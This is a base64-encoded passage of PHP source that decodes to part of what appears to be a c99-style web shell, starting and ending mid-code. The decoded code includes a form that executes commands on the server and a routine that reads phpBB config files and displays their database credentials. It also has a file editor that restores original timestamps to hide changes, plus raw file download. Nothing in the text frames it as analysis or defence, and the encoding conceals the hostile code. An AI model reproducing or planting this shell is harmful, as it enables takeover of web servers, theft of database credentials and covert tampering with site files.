QogICAgICBlbHNlaWYoJGJhc2U2NCA9PSA0KSB7CiAgICAgICAgJHRleHQgPSBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsKICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsKICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQogICAgZWNobyAiPC9iPjxicj4iOwogICB9CiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQogICB7CiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOwogICB9CiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZnVsbGhleGR1bXA9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RnVsbDwvYT5dIFs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPgogICAgICAgIDxub2JyPls8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RW5jb2RlPC9hPl0mbmJzcDs8L25vYnI+CiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTQmZD0iLnVybGVuY29kZSgkZCkuIlwiPkRlY29kZTwvYT5dJm5ic3A7PC9ub2JyPgogICAgICAgIDxQPiI7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJodG1sIikgewogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fQogICBlY2hvICRyOwogICBpZiAoJHdoaXRlKSB7Y2Fwcml2OGV4aXQoKTt9CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsVFJVRSkpOyBlY2hvICI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIpIHsKICAgZWNobyAiPHByZT4iOwogICAkdiA9IGV4cGxvZGUoInwiLCRyKTsKICAgZWNobyAkdlswXS4iPGJyPiI7CiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7CiAgIGVjaG8gIjwvcHJlPiI7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSB7CiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7CiAgICRjID0gY291bnQoJGV4dCktMTsKICAgJGV4dCA9ICRleHRbJGNdOwogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgJHJmdCA9ICIiOwogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO30KICAgfQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmdCk7CiAgIGVjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+PGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikgewogICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKSB7CiAgICAgICRhcnIgPSBleHBsb2RlKCJcbiIsJHIpOwogICAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpIHsKICAgICAgICBpbmNsdWRlKCRkLiRmKTsKICAgICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsKICAgICAgICBpZiAoJGRibXMgPT0gIm15c3FsNCIpIHskZGJtcyA9ICJteXNxbCI7fQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQogICAgICAgIGVsc2Uge2VjaG8gIkJ1dCwgeW91IGNhbid0IGNvbm5lY3QgdG8gZm9ydW0gc3FsLWJhc2UsIGJlY2F1c2UgZGItc29mdHdhcmU9XCIiLiRkYm1zLiJcIiBpcyBub3Qgc3VwcG9ydGVkIGJ5ICIuJHNoX25hbWUuIi4gUGxlYXNlLCByZXBvcnQgdXMgZm9yIGZpeC4iO30KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsKICAgICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsKICAgICAgICBmb3JlYWNoICgkY2ZndmFycyBhcyAkaz0+JHYpIHtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGspLiI9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic8YnI+Ijt9CiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgICAgfQogICAgfQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsKICAgIGlmICghZW1wdHkoJHdoaXRlKSkge0BvYl9jbGVhbigpO30KICAgIGhpZ2hsaWdodF9maWxlKCRkLiRmKTsKICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2NhcHJpdjhleGl0KCk7fQogICAgZWNobyAiPC9kaXY+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikgewogICAgQG9iX2NsZWFuKCk7CiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7CiAgICBlY2hvICRyOwogICAgZXhpdDsKICB9CiAgZWxzZWlmICgkZnQgPT0gIm5vdGVwYWQiKSB7CiAgICBAb2JfY2xlYW4oKTsKICAgIGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIik7CiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iLnR4dFwiOyIpOwogICAgZWNobygkcik7CiAgICBleGl0OwogIH0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgewogICAgJGluZiA9IGdldGltYWdlc2l6ZSgkZC4kZik7CiAgICBpZiAoISR3aGl0ZSkgewogICAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9CiAgICAgICR3aWR0aCA9ICRpbmZbMF0vMTAwKiRpbWdzaXplOwogICAgICAkaGVpZ2h0ID0gJGluZlsxXS8xMDAqJGltZ3NpemU7CiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsKICAgICAgJHNpemVzID0gYXJyYXkoIjEwMCIsIjUwIiwiMjAiKTsKICAgICAgZm9yZWFjaCAoJHNpemVzIGFzICR2KSB7CiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsKICAgICAgICBpZiAoJGltZ3NpemUgIT0gJHYgKSB7ZWNobyAkdjt9CiAgICAgICAgZWxzZSB7ZWNobyAiPHU+Ii4kdi4iPC91PiI7fQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgICB9CiAgICAgIGVjaG8gIjxicj48YnI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgd2lkdGg9XCIiLiR3aWR0aC4iXCIgaGVpZ2h0PVwiIi4kaGVpZ2h0LiJcIiBib3JkZXI9XCIxXCI+PC9jZW50ZXI+IjsKICAgIH0KICAgIGVsc2UgewogICAgICBAb2JfY2xlYW4oKTsKICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsKICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07CiAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7CiAgICAgIHJlYWRmaWxlKCRkLiRmKTsKICAgICAgZXhpdDsKICAgIH0KICB9CiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKSB7CiAgIGlmICghZW1wdHkoJHN1Ym1pdCkpCiAgIHsKICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJGQuJGYpO30KICAgICRmcCA9IGZvcGVuKCRkLiRmLCJ3Iik7CiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQogICAgZWxzZQogICAgewogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOwogICAgIGZ3cml0ZSgkZnAsJGVkaXRfdGV4dCk7CiAgICAgZmNsb3NlKCRmcCk7CiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9CiAgICAgJHIgPSAkZWRpdF90ZXh0OwogICAgfQogICB9CiAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHIpKTsKICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2F2ZVwiPiZuYnNwOzxpbnB1dCB0eXBlPVwicmVzZXRcIiB2YWx1ZT1cIlJlc2V0XCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibG9jYXRpb24uaHJlZj0nIi5hZGRzbGFzaGVzKCRzdXJsLiJ4PWxzJmQ9Ii5zdWJzdHIoJGQsMCwtMSkpLiInO1wiIHZhbHVlPVwiQmFja1wiPjxicj48dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5Vbmtub3duIGV4dGVuc2lvbiAoIi4kZXh0LiIpLCBwbGVhc2UsIHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48L2NlbnRlcj4iO30KfQplY2hvICI8L2Rpdj5cbiI7Cn0KfQplbHNlIHsKQG9iX2NsZWFuKCk7CiRpbWFnZXMgPSBhcnJheSgKImFycm93X2x0ciI9PgoiUjBsR09EbGhKZ0FXQUlBQkFQLy8vd0FBQUNINUJBSG9Bd0VBTEFBQUFBQW1BQllBQUFJdmpJK3B5KzBQRjRpMGdWdnp1VnhYRG5vUVNJclVaR1pvZXJLZjI4S2pQTlBPYWt1NVJmWit1UXNLaDhSaW9nQUFPdz09IiwKImJhY2siPT4KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLgoiYUxyYy9qREtTV1dwalZ5c1NOaVlKNENVT0JKb3FqbmlJTHp3dXpMdFlOLzN6QlNFcmY2a0JXK2dLUmlQUmdoUGgrRUZLMG1PVUVxdCIuCiJXZzBKQURzPSIsCiJidWZmZXIiPT4KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy8vajQrTjNkM2N6TXpMS3lzb2FHaHYvLy95SDVCQUVBQUFjQUxBQUFBQUFVQUJRQUFBTm8iLgoiZUxyY3JpYkc5MHk0RjFBbXU1K05oWTJreGwyQ01Ld3JRUlNHdVZqcDRMbXdEQVdxaUFHRlhDaGcreGhuUkIrcHRMT2hhaTFjckVtRCIuCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsCiJjaGFuZ2UiPT4KIlIwbEdPRGxoRkFBVUFNUWZBTDNoajduWCtwcW8xZWp5L2Y3WUFjVGIrOHZoKzZGdEg1NldadHZyL1JBUUVaZWN4OUxsL1BYNi92MysiLgoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuCiJBQjhBTEFBQUFBQVVBQlFBQUFXZjRDZU9aR21lNk5tdExPdWxYK2M0VFZOVlE3ZTlxRnpmZzRIRm9ua2RKQTVTNTRjYlJBb0Z5RU9DIi4KIndTaVV0bVlra3Jnd09BZUE1enJxYUxsZEJpTk1JSmVEMjY2WFlUZ1FEbTVSeDhtZEcrb0FiU1lkYUg0R2EzYzhKQk1KYVhRR0JRZ0EiLgoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuCiJ6TXNoQURzPSIsCiJkZWxldGUiPT4KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLgoiNmRjR0xNTXBSdXJxNnBLU2t0dmIyKy92Nysxd2gzUjBkUG5QMTdpQWlweHllbDlmWDdkamNzY1NNOTNkM1pHUmtlRXNUZXZkNExDdyIuCiJzR1JrWkdwT1UrSWZRK0VRTm9oNmZkSWNQZUhoNFlXRmhiSlFZdkx5OHVpK3htNXVic3hjY094OGtjTTRVdFk5V2VBZFFZbUppZld2Ii4KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLgoiWmVBUE51ZEFYOXNLTVB2NysxNVFVNXVibTM5L2Y4ZTV1NHhpYXRyYTJ1Ykt6OFBEdytwZmVlOS9sTUswdDgxcmZkOEFLZi8vL3dBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLgoiQkFFQUFGa0FMQUFBQUFBVUFCUUFBQWVzZ0ZtQ2c0U0Zob2VJaGlVZklJbUlNbGdRQjQ2R0xBbFlRa2FGVlZoU0FJWkxUNWNiRVlJNCIuCiJTVG81TXhPZmhRd0JBMWdZQ2hja1FCazFPd2lJQUxBQ0xrZ3hKaWxUQkk2OVJGaERGaDRIREpSWlZGZ1BQRkJSMEZrTldEZE1IQThHIi4KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLgoiandWRkhCZ2lFR1FGSWdRYXNZa2NTYkpRSUFBNyIsCiJkb3dubG9hZCI9PgoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNREF3SDkvZi84QUFQLy8vd0FBQVAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVVBQlFBQUFST0VNbEpxNzA0VXlHT3ZrTGhmVlU0a3BPSlNweDVuRjlZaUN0TGYwU3VIN3B1Ii4KIkVZT2djQmdrd0FpR3BIS1p6QjJKeEFEQVNRRkNpZFFKc01mZEdxc0RKbk9RbFhUUDM4cHJ6V2JYM3FnSUFEcz0iLAoiZm9yd2FyZCI9PgoiUjBsR09EbGhGQUFVQVBJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFBQUFBQVVBQlFBQUFNOCIuCiJhTHJjL2pESzJRcDl4VjVXaU41RzUwRlphUkxENkloRTY2THB0M1JEYmQ5Q1FGU0U0UCsrUVc3SGU3VUtQaDBJcVZ3MmwwUlFTRXF0Ii4KIldxc0pBRHM9IiwKImhvbWUiPT4KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpMS3lzb2FHaG1abVpnUUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUitNTWs1VFRXSTZpcHlNb08zY1VXUmdlSm9DQ2FMb0tPMG1xMFp4ak5TQkRXUyIuCiJrcnFBc0xmSjdZUUJsNHRpUkNZRlNwUE1kUlJDb1FPaUw0aThDZ1pnazA5V2ZXTEJZWkhCNlVXakNlcXV3RURIdU9FVkszUXRnTi9qIi4KIlZ3TXJCRFp2Z0YrQ2hIYUdlWWlDQlFZSENIOFZCSmFXZEFlU2w1WWlXNStnb0JJUkFEcz0iLAoibW9kZSI9PgoiUjBsR09EbGhIUUFVQUxNQUFBQUFBUC8vLzZDZ3BOM2QzY3pNeklhR2htWm1abDlmWC8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQWRBQlFBQUFTQkVNbEpxNzA0NjFtNi8rQUhaTVVnbkdpcW5pTldISEFzejNGN0ZVR3U3M3hPIi4KIjJCWmN3R0RvRVhrL1VxNElDQUNlUTZmem1YVGxuczBkZGxlOTliN2NGdllwRVI1NVoxMFh5MWxLdDh3cG9Jc0FDcmRhcUJwWUVZSy8iLgoiZEgxTFJXaUVlMHBSVFhCdlZId1VkM282ZUQ2T0hBU1htSm1hbUpVU1k1K2dueHVqcEJJUkFEcz0iLAoic2VhcmNoIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4KIi93QUFBQ0g1QkFFQUFBNEFMQUFBQUFBVUFCUUFBQVNuME1sNXFqMHo1eHI2K0paR2VVWnBISXFSTk9JUmZJWWl5K2E2dmNPcEhPYXAiLgoiczVJS1FjY3o4WGdLNEVHZ1FxV012a3JTc2N5bGhvYUZWbXVaTGdVREFuWnhFQk1PRFNucmtoaVNDWjRDR3JVV01BK0xMRHh1U0hzRCIuCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4KIkNicTdDNnNJcnFhd3JLd1R2NjhpeUE2ckRoRUFPdz09IiwKInNldHVwIj0+CiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4KIlFod2NIUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLgoiQUJBQUxBQUFBQUFVQUJRQUFBV1ZJQ1NLaWtLV2FEbXVTaENVYmp6TXdFb0doVnZzZkhFRU5SWU9nZWdsamtlZzBQRjRLQklGUk1JQiIuCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4KIk93Y01ab1owa0pLVWxaZU9kUUtiUGdlZGpabWhuQWNKbHFhSXFVZXNtSWlrcEVpeG55Smh1bFVNaGcyNGFTTzZZeUVBT3c9PSIsCiJzbWFsbF9kaXIiPT4KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuCiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSIsCiJzbWFsbF91bmsiPT4KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLgoicDlQbS9HVnVmYzdqL016Vi85WG0vRU9tOTlibi9OanAvYTdRK3RUbS9MSFMrZVh3L3Qzci9ObnAvZGpvL05ycS9majcvOXZxL05mbyIuCiIvTWJlKzhyaC9NbmcrN2pXK3J2WStyN1orN1hSOWREay9OSGsvTkxsL0xUVStyblgrOHppL0xiVisrZngvZTcyL3ZIMy92TDQvdTMxIi4KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLgoiL3V6MC91cnovdTcxL3V2ei9kVG4vTS9rL04zcy9kdnIvY2pnKzhQZCs4SGMrc2ZmKzhUZSsvRDIvclhJOHJIRjhick04N2ZKOG5tUCIuCiJ3cjNOODYvRDhLdkI4RjluZUVGb3RFQm50RU5wdEVOcHRTeFVweDFJb0RsZnJUUmNyWmVleVphY3hwbWh6SXVSdHBXWnhJdU91S3F6Ii4KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLgoiNjZYQjZjalo4YS9LNzkvcy9kYm4vZXp6L2N6ZDltTjBqS1RCNmFpLzc2Vzk3bmlYejJHQ3dWNkF3VWRzdFh5VnlHU0R3bm1ZejRpbyIuCiIyNE9pMWEzQjQ1U3k0YWU5NDRDY3o0U2oxbjJHbGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQWpuQUN0VkNrQ3c0SnhKQVFRcUZCakF4bzBNTkdxc0FCUUFoNkNGQTNuazBNSGlSUkVWRGh6c29MUXdBSjBnVDRUb2VjU0hBWU16Ii4KImFRZ29ETkNDU0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRTUUtoQVNNQlhKcE0iLgoidVNyUUVRd2tHallrUUNUQXk2QWxVTWhXa2xRQnc0TUVoZ1NBNlhQZ1J4UzVpaTQwS0xGZ2k0QkdURUtBc0NLWGloRVNDenJzZ1NRQyIuCiJ5SWtVVitTcU9ZTENBNGNzQXVwODZPR0RrTnc0QnBRNE9hQkZnQjBURXlJVUtxRHdUUnM0YTl5TUNTT21EQm95WnU0c0pLQ2d3SURqIi4KInlBc29rQmtRQURzPSIsCiJtdWx0aXBhZ2UiPT4iUjBsR09EbGhDZ0FNQUpFREFQLy8vLy8zbVFBQUFBQUFBQ0g1QkFFQUFBTUFMQUFBQUFBS0FBd0FBQUlqM0lSIi4KInBKaENPRG5vdmlkQW92QmRNenpraXhsWGRsSTJvWnBKV0VzU3l3THpSVUFB